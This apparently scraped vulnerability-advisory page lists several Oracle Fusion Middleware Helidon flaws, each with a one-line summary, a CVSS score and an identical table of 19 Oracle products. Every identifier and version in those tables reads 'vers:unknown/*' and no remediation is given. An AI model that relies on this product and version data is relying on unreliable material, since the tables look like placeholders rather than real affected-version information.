vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP/2 attackers to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated network attackers to perform unauthorized read and write operations, with a CVSS 3.1 base score of 4.8 indicating moderate confidentiality and integrity impact.
4.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read and write access to Helidon data via HTTP, with a CVSS 3.1 base score of 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
